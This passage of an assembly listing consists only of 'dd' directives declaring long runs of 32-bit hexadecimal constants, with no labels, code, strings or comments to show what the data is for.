7D1A0F62h, 57B4B8DCh dd 0DF40D160h, 7D5F988Ch, 2AE835DBh, 0A39F3D8Ch, 0EAAD2D7Bh dd 2C065CF6h, 0BC6F0C62h, 4DC1B4DEh, 0B45DA14h, 1DE6E6CAh dd 24196BA5h, 73056822h, 0F7DB7D24h, 6A329599h, 3017FEECh dd 0B555192Fh, 0D1A198Bh, 75C5E6D5h, 6B21F869h, 829C54CFh dd 0D581FEE3h, 72D4F940h, 26E7328Dh, 8A723C6Ah, 20B2FE56h dd 0DBD02D5Fh, 0CAD435C3h, 0E0F3628Fh, 0F40A34CAh, 6BF7896Bh dd 78C02BFEh, 0B0556D18h, 0F8D8BDEAh, 0ADAEFDCAh, 1EB35BE0h dd 0DA079A4Bh, 0C5F4D78h, 0E8F006E2h, 0F7E7D5C7h, 81C7E7AEh dd 39CDD965h, 6311C044h, 0D679318Bh, 0B9BC1BA5h, 0C7B84A74h dd 9A7E5653h, 0F6091993h, 92DDF0DEh, 0EDB8D13Fh, 76E63715h dd 0CFDE303Fh, 0A84433D5h, 545B4EE6h, 3D23008Bh, 9FEDF3EDh dd 0F778BFCh, 0FAC582BAh, 2635A385h, 0EBFC38DDh, 7D6201FBh dd 0E39A814Fh, 72FCA749h, 8C4BEE4h, 0A22D11DFh, 0BD8604E5h dd 0D38185FDh, 2FF2D374h, 72168A4Ch, 0CDAB9B5Bh, 0EA95BF13h dd 5F8B9BFCh, 3DDBA764h, 0BB4639EBh, 0A734FDB6h, 2F96D6FEh dd 0C6EDBF7Bh, 0B90E0F37h, 5E08EA17h, 0DB0E93C4h, 29F6AAAFh dd 0D8C9B76Ah, 0A4D02AD3h, 0B55AD15Dh, 85689505h, 0AD84E92Fh dd 0CAA3D5BCh, 0A6C0F8A0h, 0B945B075h, 5D70D0E3h, 43011753h dd 0EC762D56h, 0C274FEA2h, 8FAFE83Ah, 0A6D29DACh, 4C4DF34Eh dd 0CDC421F8h, 0EE648C88h, 544E8F0Ah, 36FC9F53h, 9DCC3B1Fh dd 0C0F23D74h, 7F6BAC41h, 72EB43BCh, 0A8EED98Fh, 0CA35400Eh dd 3D9061E6h, 9E30B91Ch, 0E522D054h, 0BF1881B8h, 0E21246EFh dd 0D6703C73h, 0FC5E1531h, 0E2A6F8CCh, 2A168C67h, 72355E5Eh dd 0A30EC1FBh, 0B905258Bh, 146723E1h, 0FB977E44h, 0CF9C1011h dd 3A925C23h, 0AB34A682h, 8252D19Dh, 709AD4D0h, 0E76B615Bh dd 49B84E7Eh, 70145912h, 5F4B4665h, 0E219A013h, 0A4E2EDABh dd 6FB28320h, 0A1083C5Bh, 12AF827Dh, 9B748262h, 0F3D79629h dd 66657601h, 3ED2AB46h, 126413FDh, 292A9B39h, 0E3BFFBABh dd 0BF7527D3h, 0F34FC1F1h, 208ADA57h, 0F30CE4C5h, 75533081h dd 0F3647824h, 0AA18D829h, 0F59DE583h, 2075DF40h, 92DA2E85h dd 76BBE8A9h, 0BCBC2D51h dd 87C72701h, 747B772h, 7926E972h, 0A6805C5Eh, 415255D8h dd 0A11DF91Dh, 3D99BC0Fh, 0C70FCF77h, 6D84F742h, 4E7CFC7Bh dd 3AFECAD1h, 0AB92895Fh, 22B4AED0h, 0EDEC81D0h, 0A40EA02Ah dd 776C3995h, 21DB8118h, 78D6C5E0h, 7F17DAFFh, 9A78E12Dh dd 0A499BB51h, 0DADCFAE9h, 0A291EF9Ch, 83EAF8FAh, 53EC73EBh dd 702B6207h, 4B5CBA79h, 0DB155872h, 0D601569Fh, 5381F335h dd 991DAF97h, 0E3636CD6h, 89DC0FEBh, 536C2BE9h, 0A40A6CDCh dd 752F6C23h, 8E4401B8h, 6095B0CBh, 3D96DDCDh, 5E07F5DBh dd 0EC71E4ABh, 75529747h, 0D37EAEDFh, 0DD185F1h, 0F825A1EDh dd 0C497F0BAh, 0E03A9196h, 0DBB8A3E9h, 0CBE0BA98h, 7F6F7B4Ah dd 0BE0729E2h, 8605B68Bh, 10979ACBh, 0C13B0AC0h, 0FEC8D122h dd 0DFD5B829h, 929F069Bh, 296886AAh, 0B3A1B7A0h, 41942838h dd 0EF5907F9h, 741EAF09h, 5B8A33FCh, 74CF3DC3h, 0C7C0DEE6h dd 5AF4C05Dh, 73567C3Fh, 80E79B8h, 0A5A7E5C9h, 56B5411Eh dd 0D0A0F895h, 7CECBFD8h, 370FADCBh, 0D5907662h, 399D2425h dd 7D3035F5h, 0DA95569Dh, 0C5AAAEDAh, 8E244E78h, 8DD4988Ch dd 5FB808Dh, 0EBC73619h, 51FDA13Bh, 0FD01AEE6h, 867B1BBDh dd 0EDAE6A35h, 0A829B552h, 0B9DF056Dh, 9A26AA10h, 0C6AC905Bh dd 5636C2ABh, 66B485D0h, 0C5BEBC51h, 0F5FDF852h, 0CF4C92F8h dd 0A8E89B2Bh, 6B79A6D7h, 0DC96A2EEh, 2BE1BF0h, 48F7EECEh dd 0F1BE7461h, 0A3367F2h, 452B9EFDh, 9DCEDBEFh, 21AB9DDBh dd 40FFA123h, 0D5EB3751h, 0C4CEF9A5h, 0A5FEDB3Ah, 0CFA0B7D3h dd 0C5ED3FA3h, 0B057F098h, 0B9B03692h, 0ADC3F150h, 0C5E456FFh dd 794262FDh, 0E48773CBh, 0FBB2F58Ah, 74FC0C0Eh, 11CC6443h dd 232B2CD7h, 7780C327h, 0DFB0C187h, 0CB7C7397h, 0BF2BC0AEh dd 17E1DDB2h, 9F09040Fh, 0BB52B44Dh, 0B35A877Ah, 84E551FCh dd 33252553h, 8D73E1D5h, 0B17F7705h, 0AB5626DFh, 355D2D8Ah dd 0CFB38980h, 2FCF2923h, 83BFF765h, 0D1A85781h, 0C6D5285Dh dd 42B87C74h, 0B71055E7h, 7354BD20h, 981F9EB6h, 0C56EF10Ah dd 0C56B558Ch, 0B0E75EFEh, 6E5C08FBh, 0EF3DDF88h, 82C5479Fh dd 0DED532ECh, 2E80CBEDh, 24A6E156h, 5F875B89h, 81F06CAFh dd 9F756442h, 85EDC57Ah, 4B423C30h, 350FC877h, 31B31BC9h dd 9875AAC8h, 6E04A53Eh, 0D3BB2EF1h, 0AB77E9CEh, 0FD47A730h dd 0A3E29F6Fh, 0FA752019h, 25C27FE6h, 0B086622h, 0C4BC1BCh dd 0CBD5902h, 9EE6C174h, 822B4630h, 3B5526E2h, 0DC2A5467h dd 0EF092FF2h, 9CEF735Eh, 8038D1F8h, 5D53CD3Eh, 0F7D520F1h dd 0D5ACC5EAh, 7E776AE6h, 51F0518h, 40364BF9h, 88DF4BD7h dd 0D7DB8ADh, 0DAFA3D24h, 146C2D70h, 0E7FC8B45h, 738A5600h dd 4D1BF64Dh, 0B5CB43F0h, 53AFD3F4h, 9775D68Ch, 0B8D57029h dd 0DD79712Fh, 0E9F96D63h, 8FB2839Dh, 0B862AB94h, 4B69676Ah dd 0C0D76B01h, 0C37CFB31h, 6E2EB687h, 4ABFC692h, 0ACE96678h dd 0AB852A44h, 7962F20Bh, 9FC136A3h, 0C3F0FEF5h, 4640062Eh dd 0FF641B74h, 0A5F74B4Eh, 0F3AEFC00h, 0DF3F570Ch, 4EB4757Bh dd 44EB0512h, 0B4AAC604h, 33D964CCh, 0A176D945h, 0F54738E4h dd 5D50E1BCh, 74C51F08h, 158AAF06h, 7DBE1BFBh, 0D61D337Eh dd 2120290Ah, 0F55EF130h, 21C1F74Bh, 9CE39A61h, 3BAE9F57h dd 0D31AE435h, 0B61D8C54h, 0C784861Eh, 2E225675h, 97C99F2Fh dd 0F51495C5h, 7F2B5B0Bh, 0D6941113h, 0E5DC1189h, 3FB29573h dd 79369343h, 0F191C331h, 4C3F8AAEh, 0FA95E0D0h, 0D1BCE8DCh dd 0DA63745Ch, 8EDA168Fh, 144D610Ch, 9B42F9A5h, 0AEB106B1h dd 39D56894h, 3068BBF7h, 0E89FB9D7h, 2B0FC42Ch, 1FF65A25h dd 164FDFF5h, 81B8F37h, 0C547315Dh, 161050A0h, 3DC46D16h dd 0F867385Bh, 0C02FFD76h, 386D669Fh, 0B8429305h, 494EC0ACh dd 0C2C1BB03h, 9D764D4Dh, 0D6C4514Dh, 0E02FA505h, 1B77CF28h dd 77D10FEEh, 4C3DD859h, 776837CDh, 52383C08h, 8D41580Eh dd 0F24F0BACh, 16DF4A91h, 778BEECFh, 0EB83E18Bh, 0A55B3F53h dd 9E14CA44h, 0D5AAB33Fh, 0F07F630Bh, 65FE87E1h, 0B6B1875Eh dd 0D467FEA9h, 477CAC6Fh, 0C4B464B2h, 8D406E63h, 217FC9B8h dd 39E95FF0h, 3D5AB563h, 0BDBF02DFh, 0EC155491h, 4F87324Fh dd 2CC254F3h, 9689F6F0h, 0D69EB67Fh, 97189595h, 9083AF2Bh dd 0F187EEABh, 0F4C2752Fh, 6265F68Ch, 28595E78h, 4A8E2CEDh dd 4E6B60EAh, 0AF6723A9h, 0DC9BBA5Ch, 3F1BC4E9h, 839E8E46h dd 0D8E943B4h, 53AFB21Ch, 8E2D7E8Ah, 0B6F7185Ah, 0AC47672Bh dd 8235B9D6h, 34C357D2h, 0E83631DDh, 1DDD562h, 47D970E6h dd 0C5C4B10Ah, 0DB16BF2Dh, 5EC0F9A7h, 1D8A0E8Bh, 83C6881Ah dd 0F7527C99h, 5C517E75h, 0FC6B22EAh, 71076BDBh, 0FC036D5Fh dd 5902A9EAh, 0CADEE2BEh, 8602B7BBh, 4A17F8E1h, 9EE44DADh dd 81B551DDh, 248045F0h, 0CA92F57Ch, 157C1579h, 0D58253D1h dd 0E9392AB1h, 0C34BCF30h, 0FE4B4AAAh, 0D927D178h, 0FDA61095h dd 535E3CA9h, 237C2CCDh, 529B3F62h, 5D9D9034h, 48628F98h dd 69FB7C58h, 0BA744015h, 0CF6E9C74h, 95305A27h, 52B445AAh dd 7B8ECBFDh, 50422839h, 0AB603AF1h, 0FC873BDBh, 0EB6D2746h dd 14522584h, 0C8FF8907h, 0CCE2076Dh, 0EFC540A5h, 0C6A17DBAh dd 1502973Bh, 2177E7E5h, 15DEE91Dh, 0F9FAD0C2h, 75FB179h dd 4B5DDB4Bh, 0D749783Eh, 0C1D42D11h, 0BA669B44h, 0BAD58472h dd 1F823D10h, 521EEFE2h, 0FBCE105Fh, 5D7C3F07h, 45832BE8h dd 7F9C0F37h, 0D35AD267h, 0B01A3DAh, 0C052D5CCh, 266AE28Ch dd 57CFC301h, 0ACD566D0h, 51FF2613h, 0EF2BAE82h, 578BAED1h dd 27D141DAh, 2A849D9h, 0FCB3D9D3h, 0C5101D7Bh, 0B14F9E22h dd 0A4FDC1EAh, 2EB2FACDh, 0C46843Fh, 6DD7C093h, 9FD9FF3Ah dd 0F02DD65Eh, 0DDC7CE28h, 5A2CE575h, 0BDA4BAE5h, 1B6AEAF6h dd 8D65DBD1h, 0DF3741C7h, 6DC0D1D0h, 1C8A9DFBh, 11944525h dd 4EF47D36h, 57A35B3Eh, 0DB89CB76h, 0FD3C8FBCh, 0C869D87h dd 51DCDA4Dh, 238A617Ch, 0E55E906h, 0E57C4DF0h, 387B8C4Ch dd 8B3ABB26h, 3682ADB0h, 80D68BF4h, 9DD3353Ah, 3F03CB49h dd 4B8EC9A3h, 5F036E83h, 59A7C71Bh, 8B8CAD01h, 695F6D86h dd 15379F7h, 74E1C031h, 0D23E3DDBh, 0BD9E75C1h, 0EBCF81FBh dd 6DF1BBD8h, 92CEE493h, 2D13BF97h, 0FF54767Ch, 58F82EECh dd 269C3E0Fh, 8A1DBD98h, 0D9A91DF7h, 9FED24CFh, 0B2D0C8BEh dd 8B29A99Fh, 3D9011C0h, 2279B7E0h, 8DE3E9CBh, 341747F8h dd 33B1F8Ah, 5C572C45h, 5D3A1738h, 95015F2h, 3718835h dd 0D08A2BA4h, 11903F18h, 11574812h, 7114FA80h, 9509AE3Bh dd 84C71F11h, 8F3027B9h, 0C2660975h, 8179751h, 0D1FE604Dh dd 4B030C2Fh, 421811E8h, 0A7CB487h, 0CC40A8C0h, 9A9404FEh dd 0E1405324h, 0A447CA0h, 0C29E080Bh, 0C120674h, 796C0DE2h dd 0ABAD80EEh, 118D3023h, 8D80A8A0h, 0AB429440h, 0C0825801h dd 5982388Ah, 0EA0C3E2Ch, 0E1E8F4A4h, 0AD69F9AFh, 0BEDA2934h dd 0A5E63692h, 0E078550Dh, 2E4A28E8h, 84DCD916h, 228BF6B4h dd 57A220DFh, 0EE96EEE1h, 91CE4D6Eh, 0D186C8CBh, 0A8CEE311h dd 4FBDD45Eh, 9FB7D577h, 54173D80h, 412BF44Eh, 9FEF806h dd 976C16A9h, 0E2FBAF80h, 8DCF9C43h, 0F0DC6F6Ah, 0B3FDB6EFh dd 0D4EE10EEh, 4E2DD136h, 0D344C787h, 0B7095768h, 0A4DBE6F0h dd 3E0ED5D6h, 5BB140Bh dd 0B7EFFBD7h, 54542A59h, 0C089E3D2h, 157CD0ABh, 0B8BBE8F3h dd 69375998h, 7E2ABCFAh, 6392357Bh, 188BD8FBh, 0E0A5C6CFh dd 7AE9792h, 0FE95FE6Fh, 0B94A94A9h, 9CD01CC7h, 5136E05Fh dd 0B995FDFAh, 781E3F9Bh, 2F49A2BEh, 0A080BCA0h, 9E59B1BFh dd 437A987Fh, 0BBE204ACh, 9B9DD1D6h, 0EB466CC0h, 80524A66h dd 70567A56h, 40259657h, 5CF76FD4h, 9676BA49h, 5D2AC666h dd 66AB79DBh, 4B4D6703h, 0C9D9462Fh, 74C2FC1Bh, 3CE497FCh dd 0BFA605CFh, 0A75700C3h, 0E7BFEC61h, 5F4B96DAh, 0C5D41021h dd 5E043167h, 7A9BAB6Dh, 58082061h, 0B5CCA5BEh, 28B2BB1Ah dd 5CE91BBCh, 2B7FA96Ah, 0F3F168FAh, 0AF8EEDAAh, 34A2B13Ah dd 92CC97A9h, 0EFC4385Fh, 31359F1Fh, 0BE570D5Fh, 0C299DF80h dd 8E59E8Ch, 2F85096Fh, 65E99A13h, 0CA9D1773h, 6AEFD01Dh dd 0EB83BFB1h, 1D68A0C7h, 44AFE720h, 0C0F8E47Bh, 0AB1E3026h dd 3F2777F7h, 77761E4Dh, 0B5A89421h, 4AFB6BCFh, 81534BFAh dd 371B1C72h, 0A8FB76E4h, 273A7E1Dh, 577F3C05h, 0BEFD6283h dd 0C61BB99Bh, 0DCBAF3F5h, 55041FB6h, 749D03F2h, 0FD646DF5h dd 0C8A3E8AFh, 9B9EDBEBh, 7C68FFD1h, 66E1DCE1h, 45753225h dd 54B5F0E4h, 65A6CC9Fh, 0CDD2B5BFh, 1C1F6C62h, 76B9FB78h dd 39AB2E1Ah, 7BCD5A13h, 898156B8h, 6AAD0254h, 1BBD33E1h dd 406CCF34h, 222E11FAh, 0EA5D8C56h, 4DCAF41h, 0DC9DD42Dh dd 5EF946Eh, 235B5BBFh, 84C20CB1h, 90DEBEFh, 0F3CD7843h dd 2A3A5D32h, 5DA95066h, 3FE45CAAh, 0A0C21EC1h, 45DF7AE2h dd 5FBA79AEh, 8FF29739h, 0D8D8AE46h, 0A2EE8F50h, 1EF4736Fh dd 0A7EE4C2Ah, 4BB6837Ah, 145773Ch, 9254FE9Ch, 76D1DAD9h dd 4D9DBE1Fh, 8196AD68h, 3F685E58h, 6BA66CAEh, 0DF0F7A48h dd 0CC299575h, 7360C1CFh, 5543E0E2h, 0D4F72E14h, 0EBC588DAh dd 890844F9h, 0F90468B6h, 8851D756h, 0BD94406Fh, 0EBBC437Dh dd 6AEA3227h, 62A61591h, 76DD35D1h, 0F7E2174h, 0E4A3DCDDh dd 8579FE75h, 0B91B27C9h, 0AC6C42D3h, 0D1701451h, 0EC80B743h dd 290480FBh, 0BFF5AEA7h, 0CBCBF6EAh, 2CFCB51h, 0C1F7410Eh dd 3AD5F78Bh, 1233DB9Bh, 0A2EF2C8Dh, 5A5CC414h, 29680E9Dh dd 78AE7226h, 66A36825h, 77D6DC78h, 24A38E20h, 0DBE87E26h dd 3EFCF63Bh, 0E3518B8Bh, 0AEDE49ABh, 0C95417CDh, 4CA5852h dd 6CCEF260h, 0F17CA52Dh, 4D0EFE53h, 6E81F540h, 837D05BBh dd 48717121h, 0F5FF7954h, 8436AE30h, 36A7B4AEh, 812CAAD9h dd 0C6515714h, 1B5C5D56h, 41795C03h, 6C0030EBh, 2AB0FC47h dd 0C55CA91Ch, 0DBB9148Ch, 4F815F61h, 0A80515FEh, 24EE3521h dd 0D3CE503Ch, 0D9E13DC7h, 0CB18DA61h, 0B835AE86h, 0E8177F99h dd 0D5759C9Bh, 3F37015Eh, 0B58F3968h, 8946E518h, 90A0E457h dd 0F21B0EE0h, 40E8B375h, 9C3FA9EDh, 0D69B6D28h, 5B255FA0h dd 0DA9CBB8Ah, 8DCD91BBh, 9A62AB56h, 0B02C46DDh, 84AFCEEFh dd 82623F68h, 0D9FB6073h, 772B690Bh, 511D851Ah, 0F641118h dd 0C35AB00Ch, 0FD2D132Ah, 0D07FF7ACh, 0ABAB6D26h, 5D54752Dh dd 17AA4829h, 0F4E6B0FCh, 5647DADFh, 8DBE813Eh, 0E0D0A569h dd 1EFF01DFh, 0DA7581F1h, 0D4F0BF82h, 65F87E58h, 0EEAFCA8h dd 0C3A8A5h, 35683161h, 0EBF197Eh, 0F1A3B81h, 2904EF7Eh dd 0FEF032EDh, 516BDD9Ch, 0EF6E7361h, 1072ED2h, 0EE8A69D7h dd 86832F73h, 0F751C5D3h, 24910E3Ch, 5600002h, 31B053B5h dd 70FCC4E0h, 770AF915h, 95A5A92Eh, 0FAE9276Bh, 6CC3E1BFh dd 2EBEC9B9h, 0EB030D9Ah, 662827BAh, 0D976B63Eh, 5AF6986Dh dd 6505A252h, 3D8BA6BBh, 0CC44CDDFh, 0BB736417h, 1385B16Fh dd 0C3FC7A4Bh, 0CD241A5Ch, 6A1AA21Dh, 20618010h, 7AB1B038h dd 9E7F55C7h, 5455C2D4h, 0CFCB55D2h, 91404DE3h, 0C1D54EF9h dd 75B2DBDDh, 0B67FC653h, 9FAED07h, 6F10D3FAh, 73E6C2ACh dd 0ABDCAE02h, 0E9A1AEBh, 59DB5BC5h, 0C6929149h, 0A70A605Fh dd 0F172B3FFh, 0F4A0D3CAh, 8680AF4Bh, 5968A8E1h, 0AD996536h dd 0ABACF729h, 894BBB1Dh, 89FF5B9Dh, 3B8D3C67h, 57C0A228h dd 0FD6AC092h, 7FBAE00Dh, 206E74B7h, 0ACD901AFh, 0D2DC9687h dd 202BB7Ah, 0FBEB5A5Dh, 0EAEA379Bh, 66A9EA01h, 0FB788B2h dd 0DB708CE6h, 0F9374C4Ch, 842B1E9h, 7FB4CEA5h, 64B50B15h dd 87E55FF3h, 92D1462h, 41DFC6C6h, 36812C58h, 6289FE40h dd 0D783A053h, 0D09ABCCEh, 6267CD72h, 69D69D20h, 0DE6A375Ah dd 11C772F2h, 0CB483672h, 873D2FCAh, 0AA50B8E2h, 3009BD9Fh dd 8607BB22h, 0CD5F96EEh, 0BF98639Ch, 0FC2EE61Dh, 8F6D44CDh dd 0D6663C0Eh, 1BBF1428h, 93DCFBDh, 0A2DD371Ch, 0FEEF4303h dd 0EAF21BCDh, 51DAA083h, 0F8CEC2DCh, 15633514h, 477B9095h dd 94EC5A3Ah, 0F640A3E4h, 0EF0DE567h, 0E057DFACh, 3C1B920Ah dd 0C926D648h, 0F29EA7DCh, 584BE0E1h, 1B554144h, 57DBE004h dd 0CF224DD5h, 0C12BA7DBh, 36C929FEh, 1061E66h, 6BEF84Fh dd 7851635h, 1557F160h, 251E423h, 4BAE67D5h, 27C09E5Fh dd 2AD3E1C2h, 94A9C256h, 0F17E55F3h, 9139E4F6h, 0D71DEAC8h dd 0DA48383h, 0B12DD0F6h, 0FCFD5689h, 0DB8D8DE3h, 0C9ACC07Ch dd 4921F7EAh, 0E04E5C26h, 0FDBD497Fh, 5C83A34Ch, 0AA17F9D1h dd 73B73F14h, 0CBA5B6Ch, 90B65A3Eh, 13B0B7FFh, 774500FCh dd 923FEF58h, 84B478F0h, 37E82366h, 252454B6h, 7F77B129h dd 2C3F119Ch, 5A1CC0F3h, 895EB059h, 0E91F4317h, 0D16AB4EDh dd 0B5C152E6h, 2A0BA809h, 3CAA4D55h, 0F7B3AEAAh, 0F2ADE0B4h dd 3D0B16E8h, 0D1C5FF6Bh, 0E399BB9Ah, 5686544Eh, 0D8FFCF68h dd 0ABCA6809h, 3B87916Dh, 6E880A7Bh, 0BF854F26h, 0B46EEC41h dd 9FF89702h, 0F032005h, 3BBF0AD7h, 9745FB4h, 32FBB86Fh dd 46D75882h, 7DBFDB4h, 555EE66Dh, 69B86BFh, 6B76CE9Ah dd 12974EAAh, 374B8AD4h, 0A56F5005h, 0FC88F3D7h, 13B8649Fh dd 6E4820EAh, 0ED93BA2Fh, 0B21F82CAh, 699CA595h, 0C752C896h dd 6BCB0FC3h, 16F12AE1h, 4B625533h, 0D3710A56h, 4C951B6Dh dd 2F85BCC5h, 0AB13DAB9h, 0B3FF3E3h, 39BE9882h, 0DF71DAF6h dd 0ADA95A34h, 5BD2B3E5h, 0D0D4D2E3h, 615CFFBFh, 0DF7AADBh dd 0DFC90A58h, 40C67A09h, 41FAB4DCh, 0D2AE89E9h, 0F0D936D2h dd 61D4953Eh, 9FAD6D4Ch, 0B737727h, 0FEDA95DCh, 76369141h dd 0B8F2D8A7h, 31A2FCABh, 265E3D38h, 0FB9D8428h, 0BF9E3C72h dd 0FE38B37Bh, 0A710107Ah, 34C015FAh, 0F41AC827h, 0B874E667h dd 7C656E6Ch, 89B54A9Ah, 92546FEBh, 0F7E9E1D7h, 0BB6D4479h dd 0F50B6D9Eh, 0A5339394h, 44CBAAB4h, 0A26E9A61h, 1DC092ACh dd 5FE41E36h, 888AF5A3h, 7B541630h, 116D5A01h, 0A1097F64h dd 84FF4EB3h, 2F3F5718h, 5F3E27C6h, 55F0EED9h, 765721A5h dd 0DA3D3B18h, 957F3DF3h, 0DFE855E5h, 720ED54Dh, 0B39CE079h dd 1BA9B557h, 0CBC606Ah, 0F8541736h, 0ACC02CF3h, 948CAE3Ah dd 0D46EDE51h, 4233879Bh, 7C32A14h, 930EE7A2h, 0DFEBBBECh dd 0A433CAB9h, 0DF191D07h, 0FA3A0F53h, 955F3313h, 7109B215h dd 9AB92D18h, 0C4C955FEh, 7D6D9D0Dh, 756DE805h, 7C7151A6h dd 878A6563h, 0F8835898h, 7F6A1895h, 0D97EF95Dh, 0B3B68ACEh dd 0FBC1C1C3h, 0FF666B72h, 5B2C1FDFh, 8C5A1D85h, 0D9816EFBh dd 83685974h, 0F163A1F8h, 1A83AF22h, 0E4544776h, 5614BF78h dd 9CCBB38Dh, 0E5C12FB2h dd 4AD6C4B8h, 0D05AC00Ch, 0C0415542h, 317D41DCh, 0EC406A58h dd 0BE8AEB01h, 0A29DD542h, 0BB587BD2h, 0F0AFB804h, 0A01EF238h dd 2AF3AB57h, 54624FF5h, 0C2A0AA9Eh, 9A66E21Bh, 8C557F7Dh dd 9FE1D4ADh, 15CDDF19h, 7C73B813h, 5519CC1Bh, 4867AD7Dh dd 63FBCBB8h, 87E3284Ah, 68CFBC55h, 68EA2EACh, 3ACAA8BCh dd 3EC5455Ah, 0D18CBADBh, 730ECF0Dh, 0BAC6A906h, 90FC748Bh dd 6EACC88Dh, 42DD5B8Ah, 5F056C5Bh, 9D4AE0F8h, 21A3FD83h dd 0B41B98BBh, 44B4861Fh, 87B52F2Fh, 0DC68381Ch, 0EFA8AA85h dd 96F72FCFh, 7192D9E7h, 9631333Eh, 411FA9DAh, 27E7AA12h dd 0D6CA4EFDh, 7D49B257h, 4A8DF086h, 0B9C4F27Fh, 0B24303EAh dd 0EBEC6E76h, 189FA654h, 4FE51603h, 0D254DF20h, 3040B54Ah dd 0F8FCDC15h, 0FA7180B7h, 0F4EB7996h, 0DFA89DAEh, 0DB48F5DDh dd 517D0152h, 0D13BD16Dh, 272FE311h, 199C355h, 992EBE8Ch dd 7C7531ACh, 0FBBA19Dh, 0A7EF0107h, 554D7E56h, 28EB20E7h dd 33B27307h, 96E029B1h, 63F60487h, 97EDE5E7h, 74F2103Fh dd 0ADA21AFEh, 9709FBB0h, 4CFFB898h, 815E3BA9h, 34006431h dd 84145F4h, 80CDFDE9h, 6E2B9FEDh, 1AE7432h, 0D1129B05h dd 0FEDA7AD5h, 7CFBE8Dh, 0A4BABD35h, 55B330B5h, 29080E07h dd 0B3E390C5h, 0FB497626h, 0D33E0622h, 8BFBC500h, 63E2D673h dd 75802BFCh, 0E3F07910h, 773F26CFh, 3D7F7574h, 6DEE8735h dd 57659C5Ah, 325E28BAh, 0B84015F5h, 0FD554CEBh, 9D90B47Bh dd 0AEF9286Fh, 47D43A5Fh, 35F2EC74h, 71E28ECEh, 59ED8F17h dd 51DD2098h, 3FD5E541h, 82A0E40Dh, 0F9CEF07Dh, 6A011CEDh dd 0CE731BC0h, 4BFD7509h, 0AF84D57Dh, 9BFA7DC5h, 1E15D4E1h dd 405DE0F3h, 0DE95167Bh, 0E1B5D52Ah, 1EDB1F3Bh, 85D5E005h dd 7FBD14B9h, 0F4D0D0B1h, 374E6995h, 502D9D56h, 22595D63h dd 91AC1366h, 8BDC70Fh, 2DDFCDFFh, 9292C98Bh, 82CC1D1Bh dd 0EA043003h, 61F89857h, 547557DBh, 0D90297F3h, 0E95F1F59h dd 0C1565197h, 35BEBC0Fh, 865767D1h, 0F3145533h, 0BA146E4Ch dd 7C1E7BAEh, 0C37706AEh, 0BD07672Dh, 11F981BBh, 1D7D75CEh dd 4DADC38h, 7F7E2E12h, 29E0514Dh, 3E735B44h, 797335B7h dd 0D5655665h, 6F45F0F6h, 0E7BCE601h, 81FDCD2Fh, 78E5636Bh dd 0F14310A5h, 549EE8h, 861F47F3h, 714A87E0h, 3DBF255Fh dd 8F6049DEh, 0B5A9E5B4h, 7225E267h, 0F3BA7078h, 0D09021D5h dd 0F838620Ch, 0F9357896h, 0B7B5F5C8h, 7E37A9CCh, 5BCA8360h dd 7E7F7856h, 1FAF68C9h, 4B58C481h, 0E07A7A5Bh, 243D6744h dd 0F7DD5F06h, 3BE8BF19h, 26E6E2BFh, 5835A27Bh, 5F0AFECDh dd 0BA37F150h, 4CB62EB4h, 436D228Ah, 0EB34CFB3h, 3A068E06h dd 0C071C052h, 0FF68D57Ah, 0AA4ADB77h, 1B1AEDE8h, 0D3CBA1B2h dd 8BCEFA56h, 21F81A92h, 8A917C14h, 0F7B0D1A9h, 163E5385h dd 2EA11154h, 0AC60C06Ah, 4301D917h, 0BE365DDAh, 898FECD7h dd 763F95D6h, 50EDA2A1h, 937522EBh, 0F49CA331h, 87882842h dd 0CBC749DEh, 55CAF414h, 876AE27h, 7357C598h, 7775F5D1h dd 0A0BEF910h, 0C0FA7C78h, 0AD2CD1E4h, 2A1583E0h, 4A1DD001h dd 8A537D1Ah, 2A8602B2h, 0D9990A92h, 0FC155464h, 59DD2A93h dd 4CA58279h, 3054D618h, 0EDE62B03h, 0D0E9C3EDh, 0DCD2FFECh dd 172ACF8Bh, 45F0EADh, 5F2A9C04h, 1D144BA3h, 0C6B47995h dd 0D181BAFDh, 9C0F2AD9h, 8DDBBA50h, 4020BFF0h, 928BEF11h dd 0E5BBE43Dh, 7F49CAFFh, 0D609F050h, 95171D2Dh, 2BADDD79h dd 0B4ED9698h, 0AAAFDFA7h, 0EA5DFBFAh, 3326C0F0h, 61F868FEh dd 52570D36h, 0AE3BDE12h, 7A1A441Dh, 0D7FB202h, 0AB115CB5h dd 0FE452B5Ch, 0A9B2BF38h, 91191D0Eh, 42AB23B7h, 0CEEAF3F8h dd 0FE133DF1h, 0F33643DEh, 356F5BB7h, 93E37558h, 42CFC092h dd 528CC4D1h, 1842D1EAh, 12CDDFBCh, 9A94ED26h, 5A1F8A22h dd 0AF5DB78Dh, 0DEDC33FAh, 902FD8AEh, 88B56D5Ah, 51539B01h dd 10A81A5Eh, 0F9060787h, 4C94F5A3h, 9C12F0F8h, 1C75550Ch dd 93C7789Bh, 1E260A91h, 0C8960941h, 74FD78D4h, 0EF33DA34h dd 6E7CCF11h, 259A619h, 8225BECAh, 0FF7685B8h, 3E8285A5h dd 8AF395A1h, 8EADC800h, 61B25249h, 4DF76FCEh, 532E2744h dd 0B047A9E9h, 6FF1273Dh, 0F0CE4503h, 0BE5FCF52h, 0E4E7627Ch dd 1E3C38D1h, 4D5EEE5Bh, 8E7FA35Bh, 0F75BA8DAh, 205ACE4Eh dd 0D740E3Eh, 96FC6D25h, 43232785h, 0A46440C2h, 4DD0DAD0h dd 4BFE7533h, 0ADB7C9CEh, 0CBD70FC4h, 5A1486B8h, 3CB7802Fh dd 0D68F1B05h, 22ABD400h, 0D67A2D48h, 152259C1h, 0C49343F1h dd 0DB308D59h, 18DE1C7Eh, 694EB717h, 7517D7EAh, 0FBB50B44h dd 0A61DD355h, 0D83C8804h, 0AF433F0Fh, 0C4E38B39h, 1895328Ah dd 8857E606h, 0DE261F20h, 0A84C6265h, 0D81F5FBFh, 37F6AF17h dd 0FDD73777h, 2E3034F9h, 0A84A88C2h, 0FB2F9615h, 7E646D6Dh dd 0AD083A27h, 8799C3C0h, 0FDED349Bh, 8699E938h, 35381FACh dd 3F5E9968h, 87449758h, 51BE0FFDh, 4A55ED11h, 4CB662F3h dd 5F5B9E9Ch, 0BED88DEBh, 9D607F1Eh, 0D834EF10h, 0B4C4A2A1h dd 0E0AD54E8h, 96F6A726h, 7B45D985h, 0A58BD831h, 3E46824Ch dd 0EE88D184h, 393EEC65h, 84E09B67h, 57DE9B65h, 0D0390467h dd 0AA5EBCBFh, 0CAB62C53h, 0F931FACFh, 0DDFC31B6h, 71AE0F1Ah dd 1581FB75h, 3DAD2A40h, 0FEA0C3B9h, 